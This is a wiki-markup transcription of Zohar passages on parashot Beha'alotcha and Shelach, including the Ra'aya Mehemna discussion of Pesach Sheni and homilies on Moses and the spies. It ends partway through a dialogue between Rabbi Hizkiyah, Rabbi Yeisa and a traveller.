תו אמר רבי יוסי: כתיב {{צ|אם ככה את עושה לי הרגני נא וגו'}} {{ממ|במדבר|יא|טו}} - וכי משה דאיהו ענו מכל בני עלמא - בגין דשאילו מניה ישראל למיכל מסר גרמיה למיתה!? אמאי? 

א&quot;ר אבא: האי מלה אוליפנא ורזא עלאה איהו! {{ש}}
משה לא אבאיש קמיה ולא שאל למיתה על דשאילו ישראל! תא חזי משה אתאחד והוה סליק במה דלא אתאחד נביאה אחרא - דהא אחיד צדקה הוה. ובשעתא דאמר ליה קב&quot;ה למשה {{צ|הנני ממטיר לכם לחם מן השמים}} {{ממ|שמות|טז|ד}} - חדי משה ואמר &quot;''ודאי השתא ההוא שלימו בי אשתכח, דהא בגיני אשתכח מן לישראל!''&quot;. כיון דחמא משה דאהדרו לנחתא לדרגא אחרא ושאילו בשר ואמרי {{צ|ונפשנו קצה בלחם הקלוקל}} {{ממ|במדבר|כא|ה}}, אמר אי הכי הוא - הא דרגא דילי פגים, דהא בגיני ייכלון ישראל מן במדברא. הא אנא פגימא ואהרן פגים ונחשון בן עמינדב פגים. 

אמר {{צ|ואם ככה את עושה לי הרגני נא הרוג}} - דחשיבנא נוקבא במיכלא דילה. ואנא נחית מן שמייא דאיהו דרגא עלאה לנחתא לדרגא דנוקבא. ואנא עדיף מן שאר נביאי עלמא. ועל דא אמר {{צ|ואל אראה ברעתי}}  ודאי! לנחתא לדרגא תתאה! 

כדין {{צ|ויאמר יהוה אל משה אספה לי שבעים איש}} - את שאיל אתר דמותא - לא תבעי אתר דא - דלא תהא פגים בדרגא דילך! ועל דא כתיב {{צ|ואצלתי מן הרוח אשר עליך}} - דכלהו אינון דתמן - אתאחדו בסיהרא ובעי שמשא לאנהרא לה. ועל דא {{צ|ושמתי עליהם}} בגין לאנהרא מן שמשא כנהורא דסיהרא. 

ובגיני האי מיכלא דא לא אתייא על ידא דמשה בגין דלא יתפגים. 

זכאה חולקא דמשה דקב&quot;ה בעי ביקריה! עליה כתיב {{צ|ישמח אביך ואמך וגו'}} {{ממ|משלי|כג|כה}}. {{צ|ישמח אביך}} דא קב&quot;ה, {{צ|ואמך}} דא כנסת ישראל. {{צ|ותגל יולדתך}} - דא אימא דמשה דלתתא קב&quot;ה רחים ליה יתיר מכל נביאי עלמא בלא אמצעי כלל, דכתיב {{צ|פה אל פה אדבר בו}}. והא אוקימנא בכמה אתר:


'''{{צ|ויצעק משה אל יהוה לאמר אל נא רפא נא לה}} {{ממ|במדבר|יב|יג}}'''. הא אוקמוה והוא רזא דשמא קדישא, מחד סרי אתוון, ולא בעא משה לצלאה יתיר בגין דעל דידיה למלכא לא בעי &lt;קטע סוף=דף קנו א/&gt;{{ממ זהר משולב|ג|קנו|ב}}&lt;קטע התחלה=דף קנו ב/&gt;לאטרחא יתיר. בגין כך קב&quot;ה בעא על יקרא דמשה. ובכל אתר קב&quot;ה בעא על יקריהון דצדיקייא יתיר על דיליה. ולזמנא דאתי עתיד קב&quot;ה למתבע עלבונא דישראל מעמין עכו&quot;ם ולמחדי לון בחדוותא דציון דכתיב {{צ|ובאו ורננו במרום ציון וגו'}} {{ממ|ירמיהו|לא|יא}}. וכדין {{צ|ובא לציון גואל וגו'}} {{ממ|ישעיהו|נט|כ}}. 

'''ברוך יהוה לעולם אמן ואמן ימלוך יהוה לעולם אמן ואמן'''&lt;קטע סוף=דף קנו ב/&gt;

==פרשת בהעלותך - רעיא מהימנא==
{{ממ זהר משולב|ג|קמח|ב}}&lt;קטע התחלה=רע&quot;מ דף קמח ב/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קמח ב/&gt;

{{ממ זהר משולב|ג|קמט|א}}&lt;קטע התחלה=רע&quot;מ דף קמט א/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קמט א/&gt;

{{ממ זהר משולב|ג|קמט|ב}}&lt;קטע התחלה=רע&quot;מ דף קמט ב/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קמט ב/&gt;

{{ממ זהר משולב|ג|קנ|א}}&lt;קטע התחלה=רע&quot;מ דף קנ א/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנ א/&gt;

{{ממ זהר משולב|ג|קנ|ב}}&lt;קטע התחלה=רע&quot;מ דף קנ ב/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנ ב/&gt;

{{ממ זהר משולב|ג|קנא|א}}&lt;קטע התחלה=רע&quot;מ דף קנא א/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנא א/&gt;

{{ממ זהר משולב|ג|קנא|ב}}&lt;קטע התחלה=רע&quot;מ דף קנא ב/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנא ב/&gt;

{{ממ זהר משולב|ג|קנב|א}}&lt;קטע התחלה=רע&quot;מ דף קנב א/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנב א/&gt;


{{ממ זהר משולב|ג|קנב|ב}}

&lt;קטע התחלה=רע&quot;מ דף קנב ב/&gt;'''פקודא [ל'] למעבד פסח שני על אינון דלא יכילו או דאסתאבו במסאבו אחרא'''. 

אי רזא דפסח רזא דמהימנותא - דישראל עאלין בה שלטא בניסן וכדין איהו זמנא לחדוה - איך יכלין אלין דלא יכילו או דאסתאבו למעבד בירחא תניינא דהא אעבר זמנא!?

אלא כיון דכנסת ישראל מתעטרא בעטרהא בניסן - לא אתעדיאת כתרהא ועטרהא מינה תלתין יומין. וכל אינון תלתין יומין מן יומא דנפקו ישראל מפסח - יתבא מטרוניתא בעטרהא וכל חילהא בחדוה. מאן דבעי למחמי למטרוניתא יכיל למחמי. כרוזא כריז &quot;''כל מאן דלא יכיל למחמי מטרוניתא - ייתי ויחמי עד לא ינעלון תרעיה!''&quot; 

אימתי כרוזא כריז? בארבעה עשר לירחא תניינא. דהא מתמן עד שבעה יומין תרעין פתיחן. מכאן ולהלאה - ינעלון תרעי. ועל דא פסח שני. {{קטן|'''(עד כאן)'''}}


({{צ|פקודא דא לספור ספירת העומר}} - {{ממ זהר|ג|צז|א}})


'''פקודא דא שחיטת הפסח בזמנו. ואבתריה פסח ראשון ופסח שני לאכול אותן כמשפטן. וטמאים להיות נדחים לפסח שני דאיהו פקודא תליתאה'''

תנאין ואמוראין! {{ש}}
אית בני נשא כחולין דטהרה מסטרא דמיכאל,{{ש}} 
וכחולין דהקדש כגון בשר קדש ואינון מסטרא דגבריאל. {{ש}}
כהן ולוי.{{ש}} 
ואית בני נשא דאינון כיומין טבין ואינון קדש קדשים.


שכינתא איהי פסח ראשון מימינא. פסח שני משמאלא. פסח ראשון מימינא - דתמן חכמה. פסח שני משמאלא - דתמן בינה. ובגין דבגבורה  מתעברין כל אשין נוכראין דאינון כקש ותבן לגבי אש דגבורה - טמאים נדחים לפסח שני. וכל טומאת נדה ומצורע וזב וזבה ויולדת - באשא דגבורה איהו שורף. דנשמתא איהו מאנא דקודשא בריך הוא ואיהו לא שרי בה עד דאתלבנת באשא דגבורה דכתיב {{צ|הלא כה דברי כאש נאם יהו&quot;ה}} {{ממ|ירמיהו|כג|כט}}. ובהאי אשא - אם ברזל הוא מתפוצץ ואם אבן הוא נמוח.

ובימינא  דתמן תורה שבכתב דאיהי מים - {{צ|וטהרה ממקור דמיה}} {{ממ|ויקרא|יב|ז}}, ואתדכי בה מצורע וטמא מת וזב וטמא בכל מיני שרץ. &lt;קטע סוף=רע&quot;מ דף קנב ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קנג|א}}{{ש}}
&lt;קטע התחלה=רע&quot;מ דף קנג א/&gt;הדא הוא דכתיב  {{צ|וזרקתי עליכם מים טהורים וטהרתם וגו'}} {{ממ|יחזקאל|לו|כה}}, מעמודא דאמצעיתא.


מאנא - אתיחדת בבעלה דאיהי אתתא. בתר דאתקדשת בשמאלא ואתדכאת במי מקוה בימינא. ואומרים על מאני דפסחא, {{צ|כלים שנשתמשו בהן בצונן - מטבילן בצונן והן טהורים}}. אינון נשמתין דאינון מסטרא דרחמי ואינון רחמנים, מארי חנא וחסדא -- לא צריכין לאדכאה במים פושרים כבינוניים. כל שכן בחמי חמין דבהון מתדכין רשעים גמורים דמחממין גרמייהו באשא דיצר הרע, ועלייהו אתמר {{צ|כל דבר אשר יבא באש}} {{ממ|במדבר|לא|כג}} - בגין דזוהמא דילהון נפישא. אבל צדיקים גמורין בצונן, דעלייהו אתמר {{צ|כל המשים ריוח בין הדבקים מצננים ליה גיהנם}}. 

ואי נשמתין חמריים דאינון כמאני חרס - שבירתן זו היא טהרתן. כמה דאת אמר {{צ|נשברו - נטהרו}}. ורזא דמלה {{צ|זבחי אלהים רוח נשברה וגו'}} {{ממ|תהלים|נא|יט}}.  אבל אינון דמשתדלין באורייתא דבכתב ובאורייתא דבעל פה, דאינון אש ומים, ואינון דמשתדלין ברזא דאורייתא דאיהו אור דכתיב בה {{צ|ותורה אור}} - באורייתא אינון מתדכין בה!


ועוד בפרק הרואה: הרואה תמרים בחלום - תמו עונותיו. הדא הוא דכתיב {{צ|תם עונך בת ציון}} {{ממ|איכה|ד|כב}}. {{ש}}
בגין ד'''תמרים''' - ביה '''תם''' - דרגא דיעקב דאתמר ביה {{צ|ויעקב איש תם}} {{ממ|בראשית|כה|כז}}. חובין - '''מרים'''. ועל דא '''תמרים''' - תמן '''תם''' ותמן '''מר'''.

הכא רמיז {{צ|וימתקו המים}} {{ממ|שמות|טו|כה}}. הדא הוא דכתיב {{צ|ויורהו יהו&quot;ה עץ וימתקו המים}}. מהכא - מאן דאשתדל באורייתא דאיהו 'עץ' - חובין דיליה דאתמר בהון {{צ|וימררו את חייהם בעבודה קשה}} {{ממ|שמות|א|יד}} - קודשא בריך הוא מחיל ליה ויתחזרון מתיקין. דיומין ייתון דיתקיים בהו כמפקנו דמצרים דאתמר ביה {{צ|וימת יוסף וכל אחיו וכל הדור ההוא}} {{ממ|שמות|א|ו}}. ובגלותא בתראה לית מיתה אלא עוני, דעני חשוב כמת. לקיים בהון {{צ|והשארתי בקרבך עם עני ודל וחסו בשם יהו&quot;ה}} {{ממ|צפניה|ג|יב}}, לאתקיימא בהון {{צ|ואת עם עני תושיע}} {{ממ|תהלים|יח|כח}}.

ואלין עתירין דישתארון בהון - יתקיים בהון {{צ|נרפים אתם נרפים}} {{ממ|שמות|ה|יז}} - נרפים הם באורייתא! נרפים הם למעבד טיבו עם מארי תורה ואנשי חיל המסובבים מעיר לעיר ולא יחוננו.  ונרפים הם בכובד המס. דאי תימא כבדין אינון בכובד המס ולא עבדין טיבו - בגין דא {{צ|תכבד העבודה על האנשים ויעשו בה}} - דכובד המס עלייהו! {{ש}}
{{צ|ואל ישעו בדברי שקר}} - דאינון משקרין ואמרין דכובד המס עלייהו ובגין דא לא יעבדון טיבו. אינון משקרן במילולייהו  ואמרין דמהכובד דתכבד עלייהו, {{צ|תבן אין ניתן}} {{ממ|שמות|ה|ז}}, ממונא דשקרא, דביה טענין לקודשא ברוך הוא, ובגין דלא ישעון ביה, ולא חסו בשם יהו&quot;ה - {{צ|אין נתן לעבדיך}}.

ואלין דאית לון טמיר וגניז ממונא מלגו דאיהו {{צ|תוכן}} - כגון תוך האוצר ותיבה, אתקיים בהו {{צ|ותוכן לבנים תתנו}}, ודא כספים  לבנים דיהון בההוא דרא.  בההוא זמנא {{צ|שם שם לו חוק ומשפט}}, ואינון מארי משנה. אוף הכא {{צ|ויבאו מרתה}} {{ממ|שמות|טו|כג}} - אתהדר לון אורייתא דבעל פה מרה, בדחקין סגיאין בעניותא, דיתקיים בהו {{צ|וימררו את חייהם בעבודה קשה}} - זו קושיה. {{צ|בחומר}} - דא קל וחומר. {{צ|ובלבנים}} - דא לבון הלכה. {{צ|ובכל עבודה בשדה}} - דא ברייתא.  {{צ|את כל עבודתם אשר עבדו בהם בפרך}} - דא תיקו.

ורעיא מהימנא! תמן אתקיים בך {{צ|שם שם לו חק ומשפט ושם נסהו}} {{ממ|שמות|טו|כה}}! ובהאי עץ הדעת טוב ורע דאיהו איסור והיתר, ובאינון רזין דאתגליין על ידך - {{צ|וימתקו המים}} - כמלח דממתקת בשרא. הכי יתמתקון ברזייא דאתגליין על ידך כל אינון קושיין ומחלוקות; דמיין מרירן דאורייתא דבעל פה - אתהדרו מתיקן מי אורייתא. ויסורין דילך ברזין אלין דאתגליין על ידך - יהון לך מתיקין, ויהדרון לך כל דחקין דילך כחלמין דעברין. ו'''חלם''' בהיפוך אתוון '''מלח''' - דממתקת ית בשרא - אוף יסורין ממתקים כמה דאוקמוה. 

ולרשעים מתהדרן יסורין '''מלח סדומית''' דאיהי מסמא את העינים, לקיימא בהו {{צ|ועיני רשעים תכלינה}} {{צ|איוב|יא|כ}}. &lt;קטע סוף=רע&quot;מ דף קנג א/&gt;

{{ממ זהר משולב|ג|קנג|ב}}

&lt;קטע התחלה=רע&quot;מ דף קנג ב/&gt;ואינון ערב רב רשיעייא דיתקיים בהו בההוא זמנא {{צ|יתבררו ויתלבנו ויצרפו רבים והרשיעו רשעים}} {{ממ|דניאל|יב|י}}. {{ש}}
{{צ|יתלבנו}} - אינון מארי משנה, {{צ|ויצרפו}} אינון זרעא קדישא דשאר עמא. הדא הוא דכתיב {{צ|וצרפתים כצרוף את הכסף}} {{ממ|זכריה|יג|ט}}. {{צ|והרשיעו רשעים}} - אינון ערב רב.

{{צ|והמשכילים יבנו}} - אינון מארי קבלה דאתמר בהון {{צ|והמשכילים יזהירו כזהר הרקיע}} {{ממ|דניאל|יב|ג}} - אלין אינון דקא משתדלין בזהר דא דאקרי {{צ|ספר הזהר}} דאיהו כתיבת נח דמתכנשין בה שנים בעיר ושבע ממלכותא, ולזמנין אחד מעיר ושנים ממשפחה, דבהון יתקיים {{צ|כל הבן הילוד היאורה תשליכוהו}} {{ממ|שמות|א|כב}}. ודא אורה דספרא דא. וכולא על סיבה דילך!

ומאן גרים דא? -- עורב! {{ש}}
דאנת תהא בההוא זמנא כיונה דשליח אחרא דאקרי בשמך, כעורב דאשתלח בקדמיתא ולא אתהדר בשליחותא, דאשתדל בשקצים דאתמר בהון עמי הארץ שקץ, בגין ממונא דלהון, ולא אשתדל בשליחותיה לאהדרא לצדיקייא בתיובתא, כאילו לא עביד שליחותא דמאריה. ובך יתקיים רזא דיונה, דעאל בעמקין דתהומי ימא - הכי תיעול אנת בעמיקו דתהומי אורייתא. הדא הוא דכתיב {{צ|ותשליכני מצולה בלבב ימים}}. {{צ|יונה|ב|ד}}. 

ויהון חכמה חסד נצח לימין דבגינייהו אמר דוד {{צ|ימין יהו&quot;ה עושה חיל, ימין יהו&quot;ה רוממה, ימין יהו&quot;ה עושה חיל}}. ותלת משמאלא יתקשרון כחדא דאינון בינה גבורה הוד. ותלת דרגין דאמצעיתא - כתר תפארת יסוד, דאחידן בימינא ושמאלא. ובגין דחזא לך נביא מתקשר בתלת דרגין דאמצעיתא - פתח עלך האי קרא {{צ|הנה ישכיל עבדי ירום ונשא וגבה מאד}} {{ממ|ישעיהו|נב|יג}}. ובגין דאנת תהא אחיד בתרין משיחין, אמר דוד על תלת ימינין דמשיח בן דוד {{צ|ימין יהו&quot;ה}} תלת זמנין. 

לקביל תלת שמאלין דאחיד בהון משיח בן אפרים אמר מסטרא דחד שמאלא גבורה {{צ|לא אמות}}, {{צ|כי אחיה}} מסטרא דשמאלא דהוד דילך דאתמר ביה ונתן ההוד למשה, אתייהיב בך מסטרא דבינה בגין דביה הוית אנת חרב ויבש בכלא, בגין משיח בן אפרים. באורייתך, בנביאותך עליה, בגופך דסבילת כמה מיני יסורין בגין דלא ימות הוא. ובעית רחמי עליה. אתמר ביה {{צ|כי אחיה}} מסטרא דבינה. ובגין דא {{צ|לא אמות}} מסטרא דגבורה, {{צ|כי אחיה}} מסטרא דבינה אילנא דחיי דאתגבר עליה קריאת שמע של שחרית וקשיר ליה בקשורא דתפילין בימינא דאברהם דאיהו שחרית.

{{צ|ואספר מעשי יה}} - מסטרא דהוד, {{צ|יסור יסרני יה}} - חכמה ובינה מימינא ומשמאלא, בתלת ימינין ותלת שמאלין. {{צ|ולמות לא נתנני}} - עמודא דאמצעיתא בתלת דכליל כתר וצדיק ואיהו '''בן יה'''. ומיד יקום '''ו'''' ל'''ה'''' ב'''יה''' בימינא ושמאלא, ברחמי ותחנוני, בכמה פיוסים לה ולבנהא. הדא הוא דכתיב {{צ|ביום ההוא אקים את סוכת דוד הנופלת}}. ובגין דא אמר נביא {{צ|בבכי יבאו ובתחנונים אובילם}} {{ממ|ירמיהו|לא|ח}}.


קם רעיא מהימנא ונשיק ליה ובריך ליה. ואמר &quot;''ודאי שליחא דמארך אנת לגבן!''&quot;. {{ש}}
פתחו תנאין ואמוראין ואמרו &quot;''רעיא מהימנא! אנת הוית ידע כל דא, ועל ידך היא אתגלייא, אבל בענוה דילך דאתמר בך {{צ|והאיש משה ענו מאד}} {{ממ|במדבר|יב|ג}} - באלין אתרין דאנת מתבייש לאחזקא טיבו לגבך - מני קודשא בריך הוא לן ולבוצינא קדישא למהוי בידך ובפומך באלין אתרין''&quot;. 

'''(עד כאן רעיא מהימנא)'''


{{קטן|'''[כאן מופיע בדפוס {{צ|עח א - פקודא בתר דא וכו'}}. ולא מובן למה הכוונה כי אין רעיא מהימנא ב[[זהר חלק ג עח א]]. וצע&quot;ע. ויקיעורך]'''}}
&lt;קטע סוף=רע&quot;מ דף קנג ב/&gt;

{{ממ זהר משולב|ג|קנד|א}}&lt;קטע התחלה=רע&quot;מ דף קנד א/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנד א/&gt;

{{ממ זהר משולב|ג|קנד|ב}}&lt;קטע התחלה=רע&quot;מ דף קנד ב/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנד ב/&gt;

{{ממ זהר משולב|ג|קנה|א}}&lt;קטע התחלה=רע&quot;מ דף קנה א/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנה א/&gt;

{{ממ זהר משולב|ג|קנה|ב}}&lt;קטע התחלה=רע&quot;מ דף קנה ב/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנה ב/&gt;

{{ממ זהר משולב|ג|קנו|א}}&lt;קטע התחלה=רע&quot;מ דף קנו א/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנו א/&gt;

{{ממ זהר משולב|ג|קנו|ב}}&lt;קטע התחלה=רע&quot;מ דף קנו ב/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנו ב/&gt;

==פרשת שלח לך - זהר==
{{ממ זהר משולב|ג|קנו|ב}}{{ש}}
&lt;קטע התחלה=שלח דף קנו ב/&gt;'''{{צ|וידבר יהוה אל משה לאמר שלח לך אנשים ויתורו את ארץ כנען וגו'}} {{הפניה לפסוקים|במדבר|יג|א|ב}}'''. {{ש}}
רבי חייא פתח {{צ|הֲמִיָּמֶיךָ צִוִּיתָ בֹּקֶר ידעתה שחר [יִדַּעְתָּ הַשַּׁחַר] מְקֹמוֹ}} {{ממ|איוב|לח|יב}} - {{צ|שחר}} כתיב - '''ה'''' אתרחקא מ'''שחר'''. מאי טעמא? 

אלא אמר רבי חייא, בשעתא דנטי ערב ושמשא נטי למיעל - כדין אתחלש תוקפיה. כדין שלטא שמאלא ומשתכח דינא בעלמא ואתפשט. וכדין בעי בר נש לצלאה  דישכח רעותא קמי מאריה - דאמר רבי ייסא כד נטי שמשא ואתחלש - כדין אתפתח חד פתיחו בשמשא ואתכניש חיליה ושמאלא שליט, ויצחק כרי בירא תחותיה. 

כיון דעאל ליליא - פתקא דקוטפא באחמתיה שכיח, וכמה חבילין טריקן  אתפשטו בעלמא. וכלהו שטאן בערבוביא, ואזלי וחייכאן בנפשן דרשיעייא, ומודעין לון מלין; מנהון כדיבן ומנהון קשוט. ומאן דאשתכח בינייהו אתייהיב לון רשו לחבלא. וכלהו בני עלמא ניימין  וטעמין טעמא דמותא. והא אוקימנא. 

תא חזי כד אתער רוח צפון - כדין אתקבלא כנסת ישראל בשמאלא ואתחברו כחדא. ושריא בדרועא באתרהא. וקב&quot;ה אתי לאשתעשעא עם צדיקייא דבגנתא דעדן. וכדין כל מאן דיתער למלעי באורייתא בההוא שעתא - הא אשתתף בהדה! בגין דהיא  וכל אכלוסין דילה משבחן למלכא עלאה, וכל אינון דאשתכחו  בתושבחתא דאורייתא - כלהו כתיבין בבני היכלא ואקרון בשמהן. ואלין רשימין ביממא. 

תא חזי שמא חדא קדישא אית בגלופי אתוון דהוא שלטא מפלגו ליליא ואילך, ואינון אתוון ד'''מנצפך'''{{הערה|{{גמט דגש|מ&quot;ם נו&quot;ן צד&quot;י פ&quot;א כ&quot;ף}} עולה {{גמט דגש|כל&quot;ך סעפ&quot;ה יאע&quot;וצה}} עם ג' תיבות והכולל - ויקיעורך}} כליל לון{{הערה|ה&quot;ג הרמ&quot;ק עפ&quot;י המתוק מדבש}}. 
* '''ם'''' - אוקמוה {{צ|לםרבה המשרה}} {{ממ|ישעיה|ט|ו}}. 
* '''נ'''' - הוה אסתים להאי ולהאי - כדין כתרין כלילן הוא. 


'''ו''''  דשמא קדישא אתקין ליה וסתים מבועהא. {{ש}}
בתר דאולידת פתיחא הות בחד רישא דפתחא. {{ש}}
כד אתחריב בי מקדשא אסתימו מבועין מכל סטרין. 

את דא כליל אתוון אחרן ואינון שבעה; תלת מהאי סטרא וארבע מהאי סטרא. '''כל&quot;ך''' - וסימן {{צ|כלך יפה רעיתי ומום אין בך}} {{ממ|שיר|ד|ז}}. 

'''ן'''' - דכר ונוקבא כליל כחדא. דא כליל תלת מכאן ותלת מכאן ואינון שית. 

ואוקימנא באלין תרין אתוון '''ם' ן'''' אתכללו תריסר אתוון. סליק מנייהו תרי - חד לאתר חד, וחד לאתר חד. 

{{גמט דגש|כל&quot;ך סעפ&quot;ה יאע&quot;וצה}} - הכי אתגליפו אתוון! ורזא דא בכי תצא למלחמה קרא דכתיב {{צ|כי יהיה נערה בתולה}} {{ממ|דברים|כב|כג}} - {{צ|נער}} כתיב. 


בתר דאסתלק ליליא וצפרא נהיר - כדין '''ה'''' סלקא ואתכלילת בנהורא עלאה. וכדין {{צ|ידעת השחר מקומו}} - דידע שחר מקומו דה&quot;א ואתכלילת בגויה.

תא חזי משה הוה שמשא ובעא לאעלאה לארעא. {{ש}}
אמר ליה קב&quot;ה: משה! כד אתי נהורא דשמשא - אתכליל סיהרא בגוויה.&lt;קטע סוף=שלח דף קנו ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קנז|א}}{{ש}}
&lt;קטע התחלה=דף קנז א/&gt;השתא דאנת שמשא - היך יקומון כחדא שמשא וסיהרא?! לא נהיר סיהרא אלא בשעתא דאתכניש שמשא! אבל השתא לית היא{{הערה|ה&quot;ג הגר&quot;א עפ&quot;י המתוק מדבש}} יכיל. אי תבעי למנדע מנה - '''{{צ|שלח לך אנשים}} {{ממ|במדבר|יג|ב}}''' - לגרמך בגין למנדע. 


תא חזי משה - אי תימא דהוא לא ידע דלא ייעול לארעא בזמנא דא -- לאו הכי! אלא ידע והוה בעי למנדע מנה עד לא יסתלק, ושלח לאלין מאללי. כיון דלא אתיבו מלה כדקא יאות - לא שלח זמנא אחרא עד דקב&quot;ה אחזי ליה דכתיב {{צ|עלה אל הר העברים הזה וראה את הארץ}} {{ממ|דברים|לב|מט}}, וכתיב {{צ|ויראהו יהוה את כל הארץ}} {{ממ|דברים|לד|א}}. ולא דא בלחודוי אלא כל אינון דזמינין למיקם בכל דרא ודרא - כלהו אחזי ליה למשה! ואתמר ואוקמוה חברייא. 

כיון דשארי משה למשלח מה אמר לון? {{צ|היש בה עץ}} {{ממ|במדבר|יג|כ}}. וכי מה הוא דקאמר? ואי תימא דלא ידע - אלא לקמן יימא מלה! אבל הכא הכי אמר משה: אם יש בה עץ - הא ידענא דאנא איעול לתמן! מאי {{צ|עץ}}? דא אילנא דחיי, ותמן לא הוה אלא בגן עדן דארעא. אמר: אם יש בה עץ דא אנא איעול לתמן! ואי לא - לאו אנא יכיל למיעל! 


אמר רבי חייא כתיב {{צ|וימצאו איש מקושש עצים ביום השבת}} {{ממ|במדבר|טו|לב}}. מאן עצים הכא ומאן הוא דא? אלא דא צלפחד והוה דייק על אלין אילנין הי מנייהו רב על אחרא ולא חשש ליקרא דמאריה ואחלף שבת לשבת הדא הוא דכתיב {{צ|כי בחטאו מת}} {{ממ|במדבר|כז|ג}} - '''{{צ|בחטא ו' מת}}'''. בגין כך הוה דיניה סתים, ולא אתפרש דיניה כדינין אחרנין. בגין דמלה דא בעי בחשאי וסתים ולא גלייא. ועל דא לא אתמר באתגלייא וקב&quot;ה עבד יקר ליקריה. 


רבי יוסי אמר שאר עצים בהדי שבת הוה מקושש. וקביל עונשא לפום שעתא ואתכפר חוביה. ועל דא אתקשי משה בדינא דבנתא דלא ידע אי אתכפר למהוי לבנתיה חולק ואחסנא אי לאו. כיון דדכר שמיה דצלפחד קב&quot;ה דכתיב {{צ|כן בנות צלפחד דוברות}} {{ממ|במדבר|כז|ז}} - אתידע דהא אתכפר חוביה. 

תא חזי תרין אילנין אינון - חד לעילא וחד לתתא. בדא חיין, ובדא מותא. מאן דאחלף לון - גרים ליה מותא בהאי עלמא ולית ליה חולקא בההוא עלמא! ועל דא אמר שלמה {{צ|דבש מצאת אכול דייך וגו'}} {{ממ|משלי|כה|טז}}. 

'''ארון ותורה''' בחד קיימי! תורה - עקרא, ארון - ביתא. ועל דא '''{{צ|ארן}}''' חסר בלא וא&quot;ו, בכל אתר {{צ|'''ארן''' הברית}} {{צ|'''ארן''' העדות}}. 

בכל אתר אהרן דרועא ימינא בר בחד דכתיב {{צ|כל פקודי הלוים אשר פקד משה וְׄאַׄהֲׄרֹׄןׄ}} {{ממ|במדבר|ג|לט}} - נקוד לעילא. 


א&quot;ר יצחק: משה אילנא דחיי נקט. ועל דא בעא למנדע אי הוה שכיח בארעא אי לאו. ובגין כך אמר {{צ|היש בה עץ אם אין והתחזקתם ולקחתם מפרי הארץ}} דהא אילנא דחיי אתחמד לכלא ואינון לא אייתיאו אלא ענבים ורמונים ותאנים באילנא אחרא תליין ואחידן. 

ועל דא '''{{צ|שלח לך אנשים}}''' - בגינך. 


==קטע זמני==
רבי יהודה פתח  {{צ|כצנת שלג ביום קציר ציר נאמן לשולחיו ונפש אדוניו ישיב}} {{ממ|משלי|כה|יג}}.{{ש}} 
{{צ|כצנת שלג ביום קציר}} - דאהני לגופא ולנפשא {{צ|ציר נאמן לשולחיו}} - אלו כלב ופנחס דהוו שליחי מהימני לגבי יהושע. {{צ|ונפש אדוניו ישיב}} - דאהדרו שכינתא לדיירא בהו בישראל ולא אסתלקא מנייהו. ואלין דשדר משה גרימו בכייה לדרין בתראין וגרימו לאסתלקא מישראל כמה אלף ורבבן. וגרימו לסלקא שכינתא מארעא מבינייהו דישראל. אינון דשדר יהושע {{צ|ונפש אדוניו ישיב}}. 


'''רבי חזקיה ור' ייסא''' הוו אזלי בארחא. 
אמר רבי ייסא לר' חזקיה חמינא באפך דהרהורא אית בגווך. 
אמר ליה הא ודאי האי קרא אסתכלנא ביה כיון דאמר שלמה {{צ|כי מקרה בני האדם ומקרה הבהמה ומקרה אחד להם וגו'}} {{ממ|קהלת|ג|יט}}. ותנינן דכל מלוי דשלמה מלכא כלהו סתימין מדרגין דחכמתא. אי הכי האי קרא אית ביה לאסתכלא דהא פתחא לאינון דלאו בני מהימנותא אשתכח ביה. &lt;קטע סוף=דף קנז א/&gt;{{ש}}
{{ממ זהר משולב|ג|קנז|ב}}{{ש}}
&lt;קטע התחלה=דף קנז ב/&gt;אמר ליה ודאי הכי הוא ואית ביה למנדע ולאסתכלא. {{ש}}
אדהכי חמו חד בר נש דהוה אתי שאל לון מייא דהוה צחי והוה לאי בתוקפא דשמשא. {{ש}}
אמרו ליה מאן את. {{ש}}
אמר לון יודאי אנא ואנא לאי וצחינא. {{ש}}
אמרו לעית באורייתא אמר לון עד דאנא עמכון במלין אסלק להאי טורא ותמן אסב מייא ואשתי. {{ש}}
אפיק רבי ייסא חד זפירא מלי מיין ויהב ליה. {{ש}}
בתר דשתה אמר נסלק עמך למייא. {{ש}}
סליקו לטורא ואשתכחו חד חוטא דמייא דקיק ומלי קטפורא חד. {{ש}}
יתבו. {{ש}}
אמר לון ההוא בר נש השתא שאילו דהא אנא אשתדלנא באורייתא על ידוי דחד ברי דאנא עיילית ליה לבי רב ובגיניה רווחנא באורייתא. {{ש}}
אמר רבי חזיקה אי על ידא דברך טב הוא. אבל מלה דאנן ביה אנא חמינא דלאתר אחרא בעי לאסתלקא. {{ש}}
אמר ההוא בר נש אימא מלך דלזמנין באפרקסתא דענייא תשכח מרגניתא. {{ש}}
אמר ליה האי קרא דאמר שלמה סח ליה. {{ש}}
אמר ליה וכי (נ&quot;א כמה) במה אתון פירשן משאר בני נשא דלא ידעי. {{ש}}
